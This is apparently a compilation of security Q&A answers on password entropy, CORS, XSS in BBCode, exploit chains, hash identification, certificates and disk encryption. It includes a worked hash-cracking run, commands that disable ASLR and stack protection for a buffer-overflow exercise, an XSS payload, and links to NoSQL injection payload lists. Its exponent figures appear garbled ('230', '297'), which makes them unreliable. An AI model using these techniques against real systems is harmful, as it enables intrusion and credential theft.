Example:  There are 96 printable ASCII characters.  Log2(96) is about 6.6.  Given an eight character ASCII password, truly randomly generated, one would have 6.6x8=52.8 bits of entropy.  If an attacker can make a billion (230) guesses per second, it will take about 222.8 seconds or about 84 days to try all combinations.  Since we expect an attacker to "hit" about halfway through, average time to crack will be around 42 days.

If, instead, the password is one of the top 10,000 (and crackers have lists!) you have about 13.3 bits of entropy and cracking will succeed in less than a second.

Finally, suppose you used Diceware with a 6 word pass phrase.  You'd get 66 bits of entropy and cracking would take about  235 seconds, or over a thousand years.

You can repeat the arithmetic with other values of guesses per second.

There are two important things to glean from this.  First, if private key is locked with a password and the attacker has access to the locked private key, cracking is all about the password, and not about GPG or public key crypto at all.  Second, every bit of entropy added to a password approximately doubles the time to crack it by brute force.

For an AES key derived from a password, the calculations are the same.  However, an AES key does not have to be derived from a password.  It can be randomly generated.  For 128-bit AES, the brute-force attacker will take 2128-30-1 = 297 seconds.  That's about 5,000,000,000,000,000,000,000 years.


Why CORS preflight is not available for POST requests when Content-Type is application/x-www-form-urlencoded

So my understanding of why this is allowed is so that the implementation of CORS wouldn't break existing and well understood functionality which was already allowed by browsers. This also means that preflights aren't required for text/plain and multipart/form-data in addition to application/x-www-form-urlencoded

These are referred to as "simple requests" and must be GET, HEAD, or POST and there are restrictions which headers can be set in addition to the Content-Type header.

The mozilla.org documentation on these notes:

  These are the same kinds of cross-site requests that web content can already issue, and no response data is released to the requester unless the server sends an appropriate header. Therefore, sites that prevent cross-site request forgery have nothing new to fear from HTTP access control.

You can read the documentation here: https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS


Using htmlentities() in a BBCode-supporting textarea to stop XSS

Parsing BBCode in a safe way that does not open the doors to XSS hell is a tricky task, and there have been many failed attempts. As you yourself note, the way you currently do it is vulnerable to XSS - all you need to do is post [script src="evil.js"]. Just using htmlentities() will not solve this for you, it is much more complex. This blog illustrates the problem neatly.

So I would not recommend you to try to implement your own BBCode interpreter. Instead I would look at existing libraries, either in PHP or client side in JavaScript and evaluate their security record. Some places to start:

The PHP BBCode extention
Some different JavaScript options at NPM

To add an extra layer of security you can run the generated HTML through a HTML sanitizer designed to "sandbox" HTML and keep any unwanted tags or attributes out (like script or onerror) in case the BBCode library should fail you. Some examples:

HTML Purifier (for PHP)
sanitize-html (for JavaScript)

Do note that I have not evaluated the security of these libraries. Perhaps there are better alternatives - these are just provided here as examples. Whatever library you pick, you will need to look at its track record and decide for yourself if you trust it or not. And as usual, make sure to keep the libraries updated.

As SilverlightFox says in comments, as third layer of defense (for browsers that support it) you can set a content security policy that disallows inline scripts.


Why do some HTTPS-enabled websites use HTTP by default?

It is simply open to accepting secured and unsecured connections.

Since HTTPS increases the processing and bandwidth requirements, forcing it in situations that really don't justify it only costs more to every one.

Forcing it would also require a redirect, which would make the user experience an even longer load time because of that.


At which point does an exploit against TAILS happen?

A typical sequence is remote code execution exploit followed by sandbox escape and privilege escalation.

First, the attacker would have to be able to run code inside Tails. This is possible through remote code execution if there is a vulnerability in Tails which allows this:

Exploiting a vulnerability in a browser or libraries using it can be exploited if the user visits a website exploiting this vulnerability. It is exploited by triggering the browser into downloading and viewing (image/media) or executing (javascript) the crafted exploit, which allows the attacker to execute arbitrary code on your machine by triggering a known vulnerability. There are many possibilities - vulnerabilities in image parsers, in Javascript engine, in HTML parser, in various audio or video formats, and so on.
Exploiting a vulnerability in other networking components used by Tails (such as NTP client which is used for time synchronization). An attacker who learns about the vulnerability in the NTP client, and can gain control over the relevant NTP server, can trigger this vulnerability remotely and without any user interaction. Same for exploiting a vulnerability in Tor client itself.

Once the attacker gained code execution on a system (even under limited privileges and without superuser), the attacker can attempt try to use  other type of exploits, such as privilege escalation exploits, to gain privileges in the system. And depending on attacker's goal it might not even be necessary to gain privileges.

So, as you see, exploits can happen at many points, and are not limited to a single point.


Are Meltdown and Spectre only exploitable with compiled code?

No, interpreted or JIT'd code is also vulnerable

According to multiple sources, the attack can be exploited via JavaScript in browsers. An excerpt from the Windows Blogs on Microsoft:

  Today, Google Project Zero published details of a class of vulnerabilities which can be exploited by speculative execution side-channel attacks. These techniques can be used via JavaScript code running in the browser, which may allow attackers to gain access to memory in the attacker’s process.

From Chromium Security:

  This research has implications for products and services that execute externally supplied code, including Chrome and other browsers with support for JavaScript and WebAssembly.

And from the Mozilla Security Blog:

  Our internal experiments confirm that it is possible to use similar techniques from Web content to read private information between different origins.  The full extent of this class of attack is still under investigation and we are working with security researchers and other browser vendors to fully understand the threat and fixes.

These days, JavaScript is quite advanced with the advent of things like Node.js and WebAssembly, and can arguably be considered lower level than it was in previous years.

The three aforementioned browser vendors have taken precautions against the vulnerability:

Edge and IE 11: https://blogs.windows.com/msedgedev/2018/01/03/speculative-execution-mitigations-microsoft-edge-internet-explorer/
Chromium/Chrome: https://www.chromium.org/Home/chromium-security/ssca
Firefox: https://blog.mozilla.org/security/2018/01/03/mitigations-landing-new-class-timing-attack/


Is it secure to use *no authentication* for services listening only on localhost?

They could try spoofing 127.0.0.1 (I'm not sure if the network card would accept it or not, they shouldn't, but who knows if every setup handles this properly), but even if they could they wouldn't get a response as long as it is a webui.  It might be a problem for UDP connections possibly, but web requests aren't UDP.

The larger concern would be that if an attacker ever got some level of local access to your server, they would then be able to access your services more easily.  For example, if they could get some type of proxy on your server, they would then have full access as they would be able to behave as localhost.

If they get complete access to the server, you are probably hosed anyway, but authentication on the services, especially if it pushes all the way to being used to protect the data stores themselves, could limit the damage of a compromised server.


security concern of user submitted bash command

If you are allowing shell commands to be executed from the browser, then what you are effectively doing is allowing the user to log-in and execute commands on your system as the user that the web-server is running as. Ask yourself if that is what you want to do? The answer is definitely no. No-way. No, not never. In fact, hackers spend a lot of time trying to work out how to do what you have effectively designed in to your system.

You can try and "sanitize" the input, but then all you are doing is asking the hackers to try and find ways around your sanitizer. They are probably smarter than you.

You could try and execute the commands as a user with restricted permissions. Then you are effectively allowing anyone to log-in as that user and execute commands on that system. The UNIX permissions mechanism might protect you a bit.

Finally, you could try using chroot to create a very restricted environment to run your bash commands in. That's quite a lot of work, and there is still the possibility for trojans to be planted in to the restricted environment. If you plan this option, you could look up the makejail command: makejail.

The final option is to not allow users to run arbitrary bash commands,  but instead provide a list of preconfigured commands that you allow them to run, which you know are safe.

Also, you may be vulnerable to the Shellshock bug Shellshock


How to hide encrypted volume as playable video?

With some intermediate steps it works for some video formats.

Many formats allow "trailing garbage", which either causes an error message after the correct video played, causes garbage output or is just ignored.

When you now append your volume to the video, the video still works. To access the volume, you can e.g. use the device-mapper (when using linux) to create a blockdevice from the file, which has some offset (the length of the video) and then use this.

If you only want to hide the volume (e.g. to put it on a usb stick when traveling) but not use it in this form, you just need a program to split the file at the offset, so you can unpack it on the computer where you want to use it.
There are programs which allow to combine images and rar files, which may work with videos as well. So the easiest solution there might be to pack it into a rar and use such a program.


Accessing Web Service via virtual private network

I think this way:

Put the Server Application on local IP address in clients network
Make it dedicated network like 10.1.2.0/24 where only this service resides
In the VPN server, there should be rule which users can access this network, so some can access all network, some only this service
In the android app you can make detection if 10·1.2.0/24 is reachable, in particular, I'd check the route to it via /proc/net/route which is fast, application non-blocking check. You can use also library which can parse this file.
It may be that VPN would setup gateway to all sub-networks in 10.0.0.0/8 so that you may need to do some parsing and subnet calculation so that you can handle further VPN changes
Once your application assumes there's VPN connection, you can do the call to JSON API but since this is VPN the timeout might need to be increased, and because of that it may need to be non-blocking
Since establishing connections via VPN is slower especially on 3G / LTE networks, you might want to keep persistent connection, so this have to be configured on the HTTP client you use and on the server (like tomcat / httpd keep-alive timeouts). You can test persistent connections as well non-persistent to see what performs better. Keep-alive sometimes is "persistent connection", sometimes is "TCP keep alive", so look in docs what is what, both may be used.
You can monitor for VPN disconnection same way as looking for connection, so in case of disconnection you can make non-intrusive status change on the APP GUI
The server APP may need to allow only certain Subnets so you might need to firewall it so that not everyone can use it

This is quite difficult problem if you need to handle both VPN connection and HTTP sockets. I'd be careful with retries and keep the monitoring of the route every 1s.


What is the best way to perform penetration tests for free with and without software?

What is a penetration test?

A penetration test, or a pentest, differs from vulnerability scanning, and from vulnerability assessments.

What's a vulnerability scan?

A vulnerability scan uses automated scanning to perform breadth-first identification of vulnerabilities. This is to say that the scanning attempts to identify vulnerabilities through misconfigurations, such as leaving the Tomcat manager interface available, web applications that have XSS or SQL injection vulnerabilities, and various network and web application issues. A number of products exist for this on the market. Some are free, some are not.

This is often the first part of an enterprise information security program to identify, quantify, and classify risks. It does not go any deeper than identification of potential vulnerabilities. It is up to a human to confirm if the issues are real or not.

What is a vulnerability assessment?

A vuln assessment is often manually done by a human. This is breadth-first testing. Like the scanning done above, it does not go any deeper than identification of vulnerabilities. The difference is that a human is looking for problems rather than a scanner. This is a benefit as well as a con. The benefit is that a human is able to determine complex application logic flows and look for issues that a scanning tool cannot look for, either because it doesn't have the right signatures, or because of safety, such as a service unable to handle a scanning tool. It is not a penetration test.

What is a penetration test then?

A penetration test is a depth-first test. It includes vulnerability assessments, but goes deeper. The pentester, the human performing the engagement, not only identifies issues, but exploits them to go as deep as possible. For example, this would be not only confirming that SQL injection is present, but exploiting it to steal data, execute malicious server commands, or to modify data.

Because of this intensive process that requires human skill, only parts of the engagement can be automated. A human is very much required to perform the engagement.

So can I get hardware or software to do a pentest?

No. Tools exist for automating scanning, but not for automating penetration testing in its entirety. Kali Linux and similar distros provide tools that are necessary (eg masscan or nmap) and tools that are useful (eg metasploit), but the underlying human element is necessary to make sense of the tool output, explore the applications and networks, and exploit the vulnerabilities.


Why is my computer making requests to my Roku about spotify?

It appears to be a feature called Spotify Connect. Spotify allows you to play music from you phone or computer using your Roku or smart TV, as most people will likely have better sound systems for their TVs than for their computer.

Presumably your Spotify desktop app is automatically scanning your LAN and querying compatible devices to be able to offer this feature. In your case it looks like you have a compatible Roku, but the app isn't installed on it, so it returns a 404.


What is the difference between an X.509 "client certificate" and a normal SSL certificate?

An X509 Certificate is a type of public key in a public/private key pair.  These key pairs can be used for different things, like encryption via SSL, or for identification.  SSL Certificates are a type of X509 certificate.  SSL works by encrypting traffic as well as verifying the party (Verisign trusts this website to be who they say they are, therefore you probably could too).  Verisign acts as a Certificate Authority (CA).  The CA is trusted in that everything that it says should be taken as truth (Running a CA requires major security considerations).  Therefore if a CA gives you a certificate saying that it trusts that you are really you, you have a user certificate/client certificate.

Some of these types of certificates can be used across the board, but others can only be used for certain activities.

If you open a certificate in Windows (browse to something over SSL in IE and look at the certificate properties) or run certmgr.msc and view a certificate, look at the Details tab > Key Usage.  That will dictate what the certificate is allowed to do/be used for.

For SOAP, the certificate can be used for two things: identification and encryption.  Well, three if you include message signatures (message hashing).

Client certificates identify the calling client or user.  When the application makes a SOAP request, it hands the certificate to the web service to tell it who is making the request.


How do you bruteforce decrypt data if you don't know what you are looking for?

It is an extremely rare situation for a brute-force attacker to work on data where they have no idea at all what is encrypted. When brute-forcing encrypted files in an unencrypted folder labeled "financial documentation", it's a fairly safe guess that if you get valid document, spreadsheet, or PDF files, you've decrypted something.

Even without information leakage from a badly-managed file system, most common file types contain a great deal of standard metadata. PDF files, .doc files, .JPG files, and others contain fairly standard headers. Text files contain information about their encoding. A brute-force adversary would spend time looking for this metadata. (This is, in fact, a form of Known Plaintext attack.) It doesn't matter whether that Word document is in English, Chinese, Swahili, or Esperanto. It's still a Word document, with all the metadata associated with it.

Though it's not precisely what you're asking about, cryptananalysis of the Enigma during World War II involved a similar form of this attack.


Off-Facebook activities received from apps and websites NEVER logged in via Facebook

This would be the work of Cookies, fingerprints and/or other tracking techniques.
Many sites have a Facebook (tracking) pixel for advertising purposes, or inject Facebook scripts for including feeds or a like button. This sends data to FB about your visit and possibly any interaction you have with the website.

You do not need to login to these sites using FB, the cookies are enough for Facebook to know it is your account.

Useful links:

How to limit/disable the off-facebook activity tracking
All the Ways Facebook Tracks You—and How to Limit It

Also have a look at the answers given in this thread: How does Facebook track your browsing without third party cookies?


Understand how dionaea honeypot emulated services work

At OSI lvl. 3 it is captured AND handled lvl 4-7 in a sandboxes, that are making the analysis and emulation in secured environment.

UPDATE: In case of FTP, it listens for a packets coming to FTP port, captures them, after that libemu takes its part and the process begins : it creates layer7-to-layer4 "thing" that acts like a FTP server. The "thing" is actually a honeypot - it replies as ordered, giving an attacker feeling that there's some information that can be stolen or a shell code can be executed - the sweets for a hacker, or the honey. Of course it is just a scripted trap, that can record everything the attacker does/attempts to do.


How to detect whether a CA used EV for a certificate using openssl

Note that EV certs are not structurally different -- they are just a cert issued under a different policy.  So you have to check the policy.  See http://en.wikipedia.org/wiki/Extended_Validation_Certificate#Extended_Validation_certificate_identification

You will need to do a fairly extensive table lookup, won't be native to openssl I'm afraid.

This is probably a dup of https://stackoverflow.com/questions/14705157/how-to-check-if-a-x509-certificate-has-extended-validation-switched-on

In response to some comments below:

This attribute is in the "X509v3 extensions" field. x509v3_config(5) notes

  Certificate Policies.

  This is a raw extension. All the fields of this extension can be set by using the appropriate syntax.

  If you follow the PKIX recommendations and just using one OID then you just include the value of that OID. Multiple OIDs can be set separated by commas, for example:

certificatePolicies= 1.2.4.5, 1.1.3.4

That's how they get into the cert.  Here is what it looks like in the cert: for example, if you examine the GlobalSign certificate protecting https://www.globalsign.com/en/ :

echo | openssl s_client -connect www.globalsign.com:443 2>&1 | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > globalsign.pem

This captures the certificate in a file.  You can view it,

openssl x509 -text -noout -in globalsign.pem

and about midway through the output,
[...]

       X509v3 extensions:
            X509v3 Key Usage: critical
                Digital Signature, Key Encipherment
            X509v3 Certificate Policies:
                Policy: 1.3.6.1.4.1.4146.1.1
                  CPS: https://www.globalsign.com/repository/

[...]
That policy OID corresponds to the EV OID for globalsign (and is on the table at wikipedia.).  And as Mike points out, http://oid-info.com/get/1.3.6.1.4.1.4146.1.1 describes this as {iso(1) identified-organization(3) dod(6) internet(1) private(4) enterprise(1) 4146 certificate-policies(1) extended-Validation-SSL(1)} and that 4146 is GlobalSign NV/SA.


A very-basic NoSQL injection can be studied here -- https://ckarande.gitbooks.io/owasp-nodegoat-tutorial/content/tutorial/a1_-_sql_and_nosql_injection.html -- which is available from your testing tools if you install the purposely-insecure Nodegoat application.

This blog posts a discussion and video around a Node.js framework called Meteor that uses a backend NoSQL database, MongoDB -- http://blog.east5th.co/2016/03/21/nosql-injection-in-modern-web-applications/

The princples should apply to other NoSQL databases. For more on penetrating MongoDB (and other NoSQL data stores such as Redis, HBase, CouchDB, and Cassandra), check out this StackExchange answer -- https://security.stackexchange.com/a/96593/140 -- with another blog post specifically on MongoDB to check out here -- http://www.technopy.com/mongodb-injection-how-to-hack-mongodb-html/

For additional details with payload lists (aka wordlists), see this project -- https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/no-sql-injection


I don't know how to identify the method behind the hash

You can narrow down what hash type it is using hashID:

$ hashid 218844.hash
--File '218844.hash'--
Analyzing '57b0fcbe39b9336d'
[+] MySQL323
[+] DES(Oracle)
[+] Half MD5
[+] Oracle 7-10g
[+] FNV-164
[+] CRC-64
[+] Cisco-PIX(MD5)
[+] Cisco-ASA(MD5)
--End of file '218844.hash'--

But the only way to truly verify a hash format is to actually crack a hash.

You could try each of the above one at a time using hashcat or John the Ripper, but trying one at a time can be time-consuming. Instead, you can try many different types of hashes using a general tool like MDXfind.

We can quickly discover that this hash is a single iteration of the native MYSQL 3.23 (pre-MySQL 4.1) format, without specifying the hash type in advance:

$ cat 218844.hash
57b0fcbe39b9336d

$ cat 218844.list
dinamo

$ mdxfind -h ALL -h '!salt,!user,!md5x' -i 5 -f 218844.hash 218844.list
Iterations set to 5
Working on hash types: MD5 MD5UC MD4 MD2 WRL HAV128 SHA0 SHA1 SHA224 SHA256 SHA384 SHA512 GOST GOST-CRYPTO HAV256 RMD128 RMD160 TIGER TTH HAS160 EDON256 EDON512 SNE128 SNE256 MD6 MD6256 MD6512 MDC2 MD5RAW SHA224RAW SHA256RAW SHA384RAW SHA512RAW HAV128_4 HAV128_5 HAV160_3 HAV160_4 HAV160_5 HAV192_3 HAV192_4 HAV192_5 HAV224_3 HAV224_4 HAV224_5 HAV256_4 HAV256_5 BLAKE224 BLAKE256 BLAKE384 BLAKE512 BMW224 BMW256 BMW384 BMW512 CUBE224 CUBE256 CUBE384 CUBE512 ECHO224 ECHO256 ECHO384 ECHO512 FUGUE224 FUGUE256 FUGUE384 FUGUE512 GROESTL224 GROESTL256 GROESTL384 GROESTL512 HAMSI224 HAMSI256 HAMSI384 HAMSI512 JH224 JH256 JH384 JH512 SHA3-224 SHA3-256 SHA3-384 SHA3-512 LUFFA224 LUFFA256 LUFFA384 LUFFA512 PANAMA RADIOGATUN32 RADIOGATUN64 SHABAL224 SHABAL256 SHABAL384 SHABAL512 SHAVITE224 SHAVITE256 SHAVITE384 SHAVITE512 SIMD224 SIMD256 SIMD384 SIMD512 SKEIN224 SKEIN256 SKEIN384 SKEIN512 TIGER2 WRL0 WRL1 RIPEMD MD2MD5 MD2MD5PASS MD4MD5 MD4MD5PASS MD5MD5PASS GOSTMD5 GOSTMD5PASS HAV128MD5 HAV128MD5PASS HAV128_4MD5 HAV128_4MD5PASS HAV128_5MD5 HAV128_5MD5PASS HAV160_3MD5 HAV160_3MD5PASS HAV160_4MD5 HAV160_4MD5PASS HAV160_5MD5 HAV160_5MD5PASS HAV192_3MD5 HAV192_3MD5PASS HAV192_4MD5 HAV192_4MD5PASS HAV192_5MD5 HAV192_5MD5PASS HAV224_3MD5 HAV224_3MD5PASS HAV224_4MD5 HAV224_4MD5PASS HAV224_5MD5 HAV224_5MD5PASS HAV256MD5 HAV256MD5PASS HAV256_4MD5 HAV256_4MD5PASS HAV256_5MD5 HAV256_5MD5PASS RMD128MD5 RMD128MD5PASS RMD160MD5 RMD160MD5PASS SHA1MD5 SHA1MD5PASS SHA224MD5 SHA224MD5PASS SHA256MD5 SHA256MD5PASS SHA384MD5 SHA384MD5PASS SHA512MD5 SHA512MD5PASS TIGERMD5 TIGERMD5PASS WRLMD5 WRLMD5PASS SNE128MD5 SNE128MD5PASS SNE256MD5 SNE256MD5PASS MD5SHA1 MD5SHA256 MD5SHA512 SHA1PASSSHA1 SHA1UC MD5SHA1MD5 MD5SHA1MD5SHA1 MD5SHA1MD5SHA1SHA1 SHA1MD5SHA1 SHA1MD5SHA1MD5 MD5HAV160_3 MD5SHA1HAV160_4 MD5SHA1MD5SHA1MD5 MD5RMD160 MD5SHA1SHA256 SHA256SHA512 MD5WRL MD5SHA1SHA1RAW MD5PASSMD5 MD5-DBL-PASS SHA1MD5UC SHA1MD5SHA1MD5SHA1MD5 MD5SQL5 SHA1SQL5 MD5MD5UCMD5 RMD128MD5MD5 MD5BASE64 MD5BASE64MD5 MD5SHA1BASE64 MD5SHA1MD5BASE64 SHA1BASE64 MD5BASE64MD5RAW MD5BASE64SHA1RAW SHA1BASE64MD5RAW SHA1BASE64SHA1RAW MD5BASE64SHA1RAWMD5 MD5BASE64MD5RAWSHA1 MD5BASE64MD5RAWMD5 MD5BASE64MD5RAWMD5MD5 MD5BASE64SHA1RAWBASE64SHA1RAW MD5SHA1UC MD5SHA1UCMD5 MD5SHA1UCMD5UC SHA1SHA1u32 MD5SHA1u32 SHA256SHA1 MD5BASE64revMD5 MD5revMD5 MD5revMD5MD5 MD5BASE64MD5MD5 MD5SQL5-40 SHA1SQL5-40 MD5revSHA1 SQL5 MD5MD5UC RADMIN2 MD5RADMIN2 MD5RADMIN2SHA1 RADMIN2MD5 RADMIN2MD5MD5 RADMIN2MD5UC RADMIN2MD5SHA1 RADMIN2SHA1 RADMIN2SQL5-40 RADMIN2BASE64 RADMIN2SHA1MD5 RADMIN2SQL3 RADMIN2MD5MD5MD5 MD5RADMIN2MD5 SHA1RADMIN2 SHA1RADMIN2MD5 SHA1RADMIN2BASE64 SHA1MD5MD5 SHA1SHA1RAWMD5 SHA1MD5MD5MD5 SHA1MD5MD5SHA1MD5 SHA1MD5MD5SHA1 SHA1MD5MD5MD5SHA1 SHA1MD5MD5MD5MD5 SHA1MD5MD5MD5MD5MD5 SHA1SHA1RAWMD5MD5 SHA1SHA1RAWMD5MD5MD5 MD5SHA1SHA1MD5 MD5SHA1SHA1 MD5SQL5MD5 MD5SQL5-chop40 MD5-2xMD5 MD5-2xMD5-MD5 MD5-2xMD5-SHA1 MD5-2xMD5-MD5MD5 MD5-2xMD5-MD5MD5MD5 SHA1MD5RADMIN2 MD5-3xMD5 MD5-3xMD5-MD5 MD5-3xMD5-SHA1 MD5-3xMD5-MD5MD5 MD5-3xMD5-MD5MD5MD5 SHA1-2xSHA1 SHA1-2xSHA1-MD5 SHA1-2xSHA1-SHA1 SHA1-2xSHA1-MD5MD5 SHA1-2xSHA1-MD5MD5MD5 MD5-1xMD5SHA1 MD5-1xSHA1MD5 SHA1-1xSHA1MD5 SHA1-1xMD5SHA1 MD5-1xMD5SHA1-MD5 MD5-1xSHA1MD5-MD5 MD5-1xMD5SHA1-MD5MD5 MD5-1xSHA1MD5-MD5MD5 MD5-1xSHA1MD5pSHA1p SHA1-1xSHA1MD5pSHA1p MD5SHA1-1xSHA1MD5pSHA1p SHA1-1xSHA1psubp SHA1revp MD5revp MD5TIGER2 MD5SHA1MD5MD5 MD5SHA1MD5RADMIN2 MD5SHA1MD5MD5MD5SHA1 MD5SHA1RAW MD5SHA1MD5MD5MD5 MD5SQL5-32 MD5BASE64ROT13 MD5TIGER MD5SHA1MD5PASS MD5CAPSHA1 MD5SHA1BASE64MD5RAW MD5SHA1MD5MD5SHA1 MD5SHA1MD5UC MD5MD5HUM SHA1MD5HUM SHA1SHA1HUM MD5SHA1HUM MD5NTLM NTLM MD5MD4 MD5NTLMUC MD5SHA1RADMIN2MD5 MD5UCBASE64MD5RAW MD5UCBASE64SHA1RAW MD5SHA1MD5MD5UC MD5SHA1MD5HUM LM MD5LM MD5LMUC MD5RAWUC MD5SHA1UCu32 MD5MD5UCSHA1MD5MD5 MD5SHA256MD5 SHA1lsb32 MD5-2xMD5UC MD5-4xMD5 MD5-SHA1numSHA1 MD5-2xSHA1 SHA1-2xMD5 MD5padMD5 SHA1lsb35 MD4SQL3 SMF MD5-MD5SHA1MD5SHA1MD5SHA1p MD5MD5UCSQL3p MD5MD5UCp MD5NTLMp MD5-LMNTLM MD5-MD5psSHA1MD5psp MD5-MD5puSHA1MD5pup MD5WRLMD5 PARALLEL STREEBOG-32 STREEBOG-64 MD5SWAP MSCACHE MD5SHA1PASSMD5PASSSHA1PASS SHA512_CUSTOM1 MD5SQL3 MD5sub8-24MD5 MD5sub8-24MD5sub8-24MD5 MYSQL3 MD5revMD5SHA1 MD5SHA1BASE64SHA1MD5 SHA1-8TRACK SHA1WRL SHA1revMD5 SHA1SHA256 SHA1SHA384 SHA1SHA512 SHA1SQL3 SHA1UCWRL SHA1WRLMD5 SHA1MD5SHA1MD5SHA1MD5SHA1 WRLSHA512 MD5GOST MD5GOSTMD5 MD5GOSTMD5UC MD5WRLRAW SHA256UC MD4SHA1MD5 MD5RAWMD5RAW MD5SHA1BASE64SHA1RAW MD5revMD5SHA1SHA1 MD5MD2 MD5MD2RAW MD5BASE64SHA256RAW MD4UTF16 MD4UTF16MD5 RMD128MD4 MD5SHA0 MD5PASSSHA1MD5 MD5PASSMD5MD5PASS MD5PASSMD5MD5MD5 MD5-MD5PASSMD5 MD5PASSSHA1 MD5MD5PASSSHA1 SHA1MD5MD5SHA1MD5SHA1SHA1MD5 MD5SHA1MD5SHA1MD5SHA1MD5SHA1MD5SHA1MD5SHA1 MD5dcab MD5bcad MD5BASE64BASE64 MD5BASE64BASE64BASE64 PROGRESSENCODE
Took 0.00 seconds to read hashes
Searching through 1 unique hashes from 218844.hash
Maximum hash chain depth is 1
Minimum hash length is 16 characters
Using 4 cores

MYSQL3x01 57b0fcbe39b9336d:dinamo

Done - 4 threads caught
1 lines processed in 0 seconds
1.00 lines per second
0.00 seconds hashing, 2,332 total hash calculations
0.88M hashes per second (approx)
1 total files
1 MYSQL3x01 hashes found
1 Total hashes found

The x01 in MYSQL3x01 means that only a single iteration of that algorithm was used.

Note that this is a very "fast" (good for the attacker) hash, and can be cracked at extremely high speeds on modern GPUs - billions of guesses per second.


Do modern Android devices provide access to their Secure Element in some way?

Since Android 4.3, material in the keychain can be marked as stored in a “hardware-backed key store”. This can provide secure element access, but the hardware backing can also be ensured by TrustZone, which doesn't leave the main CPU. There's no way to query what kind of hardware backs the keystore (embedded SE, removable SE, TZ, …). The API function name isBoundKeyAlgorithm is perhaps a more precise way to qualify the intent of this attribute.

There is no guarantee that the SE is available to application even when it is present. Technically, most Android phones have long had access to a (removable) secure element, the SIM card, but this was not available to applications. Phones with NFC have a better chance.

In older Android versions, it is possible to access the SE (if any) through Seek for Android, however this only works on a few development devices so it is not an option unless you can impose a particular phone model and a custom image.


Browser Extension to show how your session is being shared

This extension is called Collusion.  It shows the cookie tracker networks.  I use it in talks to demonstrate how quickly your privacy is lost when browsing less than 5 websites.


Why is a CA certificate required for EAP-TLS clients?

EAP-TLS really encapsulates a SSL/TLS handshake, in which both server and client send each other a certificate. This has the following properties:

When the server sends a certificate, it actually sends a certificate chain, including the CA which issued it, and the CA above it, and so on, up to the root (the root itself may be sent, but this is optional).
Similarly, when a client sends a certificate, it also is as part of certificate chain.
The client validates the server's chain, the server validates the client's chain.

Therefore, on the client side, with your notations:

The client must know wifi-client-ca because it must send it as part of its "client chain" to the server.
The client must know and trust root-ca in order to be able to validate the server's certificate (this is crucial for security: this protects the client from talking to a fake access point).

Some clients might be convinced to trust wifi-server-cert directly, but not all of them permit such direct trust, and it would mean trouble when that certificate expires.

It may be enlightening to consider the following: the client's certificate is for the server, not for the client itself; thus, the client needs not trust its own certificate. In a generic way, the root CA for the server certificate, and the root CA for the client certificates, may be distinct and unrelated to each other. Still, the client must know (but not necessarily trust) the chain for its own certificate in order to send it to the server, as SSL/TLS mandates.


Is 'Forge' Javascript crypto library secure?

Javascript as the "main security" in any web-app or site is not a good idea, but its a nice add-on, but it wont add asmuch that it becomes waterproof, so beware (best used with HTTPS ;) )

a Crypto library is never 100% waterproof, i.e., take an encryption, or hashing method called HashA (fictional), in 3, maybe 4 years, an update will be released, lets call that HashB, the reason is that people will study, and try to either crack, or find a weakness in algorithems and codes, so in 4 years, HashA won't be as safe, so poeple tend to bend towards HashB.

To awnser your question, i asked around a little bit for you, we dont use alot of security in JS, but we still prefer to, since its that "little bit extra" we like to do.

the "Forge" JS Crypto Library was first made around late 2009, and went live somewhere in 2010 if i'm right, and has alot of inbuild functions like hashing, storage of passwords, encryption, TLS implention and more.

Since its so a bit "aged", people would sometimes say "better not", but i use it too, and didnt encounter any problems yet, i'd say this is safe, atleast for now, but dont forget to update it when they are released!

here is a link to the main webpage of Froge: http://digitalbazaar.com/forge/


What are the potential vulnerabilities of sending HTML/JS to the browser from the database?

Unless your demo web application connects directly to the database using some sort of client side code (which it is very unlikely and nothing in your question suggests that), what you are seeing is probably just regular browser to web server traffic (i.e. not the database), which will certainly include plenty of HTML and JavaScript. This is how it's meant to work.


What are the good use cases for disk encryption?

In a data center, disk encryption can be useful for handling old disks: when a disk fails, you can simply discard (recycle) it, because the data it may still contain is encrypted and cannot be recovered without the corresponding key (this assumes that the server has the encryption key somewhere on its "system" disk -- or some other device -- and that the failed disk is not a system disk). Otherwise, disposal of failed disk is an issue (you want the equivalent of a shredder, e.g. a cauldron full of acid).

For laptops, disk encryption is useful only if the laptop cannot be stolen with the decryption dongle, which, in practice, means that the user must have the dongle attached to its wrist, not simply kept plugged in the laptop. It also means that the dongle must be used regularly, not just at boot time (also, take "sleep mode" into account: users reboot very rarely). It can be predicted that users will actively resist such security features (and a security system that the user works around is worse than having no security system at all).


Problem exploiting Buffer Overflow in a simple C program

EDIT: I now beleive your kernel is in your way, but I'm not entirely sure how, see bottom for addendum.

ORIGINAL:
OK so i compiled my own version using your exact source code, i think your main problem is skipping a step in between objdump and using the address. Its always a good idea to make sure you are locating the correct address by finding it in gdb as well, sometimes we need to make sure the address we see in objdump is actually the one we encounter when running in gdb.

The rest of what you have done seems fine, and i tried to follow similar steps and was met with success:

found my function address and navigated to a spot nearby where the first push happens:

My address appears to be 0x00401460 cool. Now i figure out where i need my overflow to be, the method you used is great, im lazy and just did some trial and error:

after that it was just a matter of inserting my instruction into eip:

All in all, the only thing i did different than you was double check the EIP address i was using before attempting to exploit. That's the only thing i can think of that's messing you up. Because everything else you did looks correct, and i also ran into no trouble using your method.

EDIT:

Upon thinking about this more perhaps the real difference is our OS. Linux has protections against this sort of thing and a few things need to be addressed to allow overflows in compiled programs. There is another major difference and that is compiler.

I dont know what kernel version you have but try the following:

sysctl -w kernel.randomize_va_space=0
gcc prog.c -o prog -fno-stack-protector -D_FORTIFY_SOURCE=0 -z execstack

If that doesn't work, (first undo the sysctl command) then you can try an older kernel in a vm, like ubuntu 9 or something. Then try the above commands in there.

But I'm afraid I haven't tried to disable stack protection on more modern kernels. so I don't know if that would be enough to make this work. What I can say is this, I think you got it right. Something is just in your way and I'm not sure what it is. As far as the exploit goes, I see nothing wrong with what you did. Hopefully someone else can see the real problem more clearly, but what i think is going on here is that the OS level kernel protections are taking over preventing the overflow exploit from jumping to your desired address.


This answer gives some insight onto this.

Namely that the SSL session identifier could be regenerated at any time, at the discretion of the browser. If this happens during a login session, then this would have the effect of logging out the user.

On the reverse side, it might be useful to detect if a single SSL session is being used for multiple sessions, as a way of detecting a user upto no good. However, IP addess is sufficient and more reliable as a means of flagging possibly malicious activity.


How can I verify that the logged-in user is actually the person who owns the account?

